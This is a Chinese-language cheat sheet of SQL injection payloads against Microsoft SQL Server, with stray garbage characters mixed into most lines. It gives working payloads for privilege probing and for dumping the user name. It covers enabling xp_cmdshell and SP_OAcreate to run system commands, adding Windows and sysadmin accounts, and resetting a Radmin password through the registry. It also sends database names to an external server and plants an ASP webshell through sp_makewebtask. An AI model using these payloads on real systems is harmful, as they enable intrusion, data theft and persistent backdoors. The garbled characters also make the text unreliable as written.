阿D常用的一些注入命令
( K" k( x$ [5 b//看看是什么权限的: X2 U6 X; [5 N* G# k/ O
and 1=(Select IS_MEMBER('db_owner'))
+ T0 g8 W' `/ w1 S- `And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
0 ~3 n0 v/ u4 W7 i
. e# j- J! ]8 \9 r9 M9 f//检测是否有读取某数据库的权限
( @( @5 _2 ^. }' d: uand 1= (Select HAS_DBACCESS('master'))
. I2 w- G/ x- s5 z3 YAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --- J8 q# b% z1 T
+ R$ }! t ~( S( {4 U4 g4 c9 g$ x) ~# t/ Z/ E- S4 ^8 W8 c
数字类型
. A+ f5 C$ C: o7 d8 F/ Qand char(124)%2Buser%2Bchar(124)=0
( L: U: @2 n8 Q" D
{* T! `/ a2 k3 A字符类型3 y0 P4 `* ]$ B h# I" C
' and char(124)%2Buser%2Bchar(124)=0 and ''='
0 ~& z i/ A8 \% {% U
1 e8 D# ^' @7 v! S" S搜索类型
+ ^1 o* R9 N5 y9 }: l. I# U4 Z7 n' and char(124)%2Buser%2Bchar(124)=0 and '%'='
' n1 h8 S4 I: ? ~# h! I, a) p$ h
爆用户名( Y4 ?8 n1 P- X: f8 Z
and user>0
) n; t, s/ `6 A M' and user>0 and ''='
3 k; h2 g8 G- [6 P# _$ H: B* u
) N5 i$ ?3 t: D检测是否为SA权限
3 v) S( i/ C7 yand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
* K% \" h6 d1 Y# G, JAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --7 s6 k8 L* v% m2 E& S
7 ~) Q6 a2 C" e1 E, x4 Y3 k检测是不是MSSQL数据库7 C- w' m* R8 r" Q) \! K2 n
and exists (select * from sysobjects);--
0 D7 N1 k3 q2 |) R! u K) D l
. a; d$ T; [! Q0 X/ K$ i检测是否支持多行
1 A* |! Z5 j" \7 u5 M1 ?4 d;declare @d int;-- : h3 e3 x, S" v9 V8 u8 S
1 O3 j ]! X' ^/ k) u$ q ^( i恢复 xp_cmdshell5 L% ^7 e7 R* v+ u$ q$ s3 r
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
2 Q4 I% j9 }/ g. t* V" o
2 I) K, W4 _$ [3 C/ @- v+ p! {/ d. m3 h* X/ _: U
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
# Z5 M' j& s3 R( G) ~
9 Z; Q6 x* @( I' x//------------------------ b6 E h7 K2 Y" w8 ]: g& ^, D
// 执行命令% l: g" X$ d" \5 b0 N" }
//-----------------------
/ ]1 |1 h; u$ L首先开启沙盘模式:1 ]0 ~' q. f/ c" v* ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: v9 w6 |) N! o6 n
. s" F" O( Z0 s# h7 G2 Y3 S7 Z% o然后利用jet.oledb执行系统命令4 }% F. {& E& z+ i) a7 S
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
. Z5 P5 H6 P9 |! }6 S
/ E- L* p8 L, s& M0 F执行命令
! W+ N& X: i K- \ ]6 k;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 l) |6 s+ `. G8 U) }0 P7 U
# s/ `( X. n) a3 i K5 x0 pEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
7 o6 L, r1 y& t+ s( G4 c1 O3 F6 q3 T+ Z& Z9 Q' y. J( k3 l3 B
判断xp_cmdshell扩展存储过程是否存在:& _( c/ x2 y% \
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')" x% o! o: ]/ K2 b
! x5 D0 Q- R, ^$ M写注册表, _1 T. N( k/ ]0 g8 Z8 A
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 `+ }) s. C: x7 l& ]+ n( y; \2 \
( ^- i" e% o0 N; J
REG_SZ
2 P* k6 S, h# \0 m5 j: Q6 B* X& |: r, t6 K( B/ s/ X4 K
读注册表
, m- _/ D: ?/ _/ [exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'+ v" {+ O4 P; c4 Q) l
# D$ Y1 S. v4 J1 o" x0 S2 z
读取目录内容
" M# K6 `: B& r, s B" Mexec master..xp_dirtree 'c:\winnt\system32\',1,1
, \# j0 F M& r g& a0 A
f( r# {5 C7 b, u* P( n
0 Q1 U7 |* ~: }" b数据库备份
# @- Q, e, v3 c7 _6 E) T. lbackup database pubs to disk = 'c:\123.bak'% t/ y, g! a; x. z: g) O
: M3 e: L" O' n$ Y3 G. T//爆出长度4 d' w" }- |$ |$ ?! m% u& J
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--8 V# i1 V7 A; r* C8 A1 Z& b
5 L1 H4 C) c/ r
" z( c5 l E$ c' m% L0 D7 Y% F3 W- \
4 ]/ S$ U$ z* G8 J5 B( p- Y7 f0 q更改sa口令方法:用sql综合利用工具连接后,执行命令:! [! R; E# [3 x
exec sp_password NULL,'新密码','sa' q9 Q6 j& j7 a5 B: I
7 j! r- W6 R6 S, |% u! ?9 ?
添加和删除一个SA权限的用户test:
. L; j \% l/ b( e5 n4 l% |# |exec master.dbo.sp_addlogin test,ptlove
/ f3 y, V/ ?; v2 R# R5 zexec master.dbo.sp_addsrvrolemember test,sysadmin
1 ]+ }5 U( X5 D. A8 `% S
- s; G; W) i9 V4 c$ ^0 O删除扩展存储过过程xp_cmdshell的语句:
( ?" G" B; j* H0 j7 D# k, z/ G/ aexec sp_dropextendedproc 'xp_cmdshell'% a5 b% [. @* j! `
: _% n0 ^8 H% r添加扩展存储过过程3 i+ k" [2 M I/ C2 |# Y: w
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ! P8 y5 q+ q/ D' E8 j$ b
GRANT exec On xp_proxiedadata TO public . N) n1 o9 C, z. m- p! c: O* r5 l9 Y
5 \8 `( d/ L8 P; L0 I0 j! Y1 i1 v6 u8 ]( b" o, J, H
停掉或激活某个服务。 ; C" E1 ~$ G, W, v2 U
]7 a0 K' r3 I: ^* lexec master..xp_servicecontrol 'stop','schedule'
1 V1 I* e. H% E+ `! ?5 zexec master..xp_servicecontrol 'start','schedule'1 ^' w$ b' ?9 h# P& _8 `
- ^4 A, `6 p. Z' l6 Z3 odbo.xp_subdirs2 H5 O2 _: ` [' K2 p
J0 ]7 l3 g- G只列某个目录下的子目录。7 N! h! B! `/ f/ j% }) z+ m( j9 c$ p
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'' H8 Z0 I' {. l6 r+ w6 Q5 X* h8 x3 L$ e
9 @# v% z' E, ^3 K4 i- P
dbo.xp_makecab
& ]2 i7 D9 |- J7 O; f* |0 D! W# ]9 k! h9 p
将目标多个档案压缩到某个目标档案之内。
1 s- |5 H) \( b- w所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。3 F& F/ J( M4 R8 y+ b: S
" E) E3 W: e) k# fdbo.xp_makecab" d' d5 q, ~4 \+ G
'c:\test.cab','mszip',1,
5 I# q9 I( p/ A, }% N'C:\Inetpub\wwwroot\SQLInject\login.asp',
0 o. I' r8 z* t9 l9 G'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
: j3 V3 k3 ^. V) ]* a2 d! J& ~! D" k# g. Z6 l' `" Y
xp_terminate_process# Q( z$ ^4 t6 c7 X. V7 C: h
- E8 v; T5 m+ c$ j) F: H
停掉某个执行中的程序,但赋予的参数是 Process ID。' }& E3 _ u* d! O
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID' ~8 u, r7 k5 V4 N
4 {- A; E6 P9 U4 M, G; txp_terminate_process 2484
! w+ W. I0 W! O/ M5 `, v- y9 i9 o3 J$ X: N+ Z3 I4 E6 f9 Q) B
xp_unpackcab3 o( i6 T* t( C/ B+ ~1 z8 a
, ]7 g2 i4 l+ p' M
解开压缩档。- k( K6 s' \* N( h$ I
( ]; R* k; Z$ x
xp_unpackcab 'c:\test.cab','c:\temp',1" d# K" _1 F7 M2 J
# }8 N$ @7 B( |/ ^) W% J
" `4 M2 o1 C! i! ~# P, S) B4 j; u某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; ?6 a, M3 ?; e, C' c$ K7 y# b
: P7 T% ^7 t9 W) H, _
create database lcx;% K5 M6 D$ b! J: S/ D
Create TABLE ku(name nvarchar(256) null);
; w1 r6 L( w( N* mCreate TABLE biao(id int NULL,name nvarchar(256) null);
$ d. f" J8 j& O) c* K; n
. @" o/ O* _, x1 R6 |//得到数据库名* \4 |5 ~$ b9 n7 \1 ?9 c
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases9 f! h) b2 t7 J7 E% ?$ j
, ]! |( E; C# ]5 S0 K, Y
3 k- `! B& T( M
//在Master中创建表,看看权限怎样
. _6 a2 c+ e2 bCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
/ J$ r; E( Z! @ W7 ~( ?
0 T" }7 ]2 ~$ a- `1 V# x& Z用 sp_makewebtask直接在web目录里写入一句话马:
" `: q2 d' ~/ g& Zhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
" h" t$ [) Z: h: D8 a1 S1 J- F, @: @8 G7 x
//更新表内容
9 C! k9 [4 D) g9 f9 T$ sUpdate films SET kind = 'Dramatic' Where id = 1234 i5 L. U3 T1 ^8 \* }
, ^" B- x0 M1 y1 Q//删除内容7 y( c$ L4 u3 i6 E: Z+ o
delete from table_name where Stockid = 3 |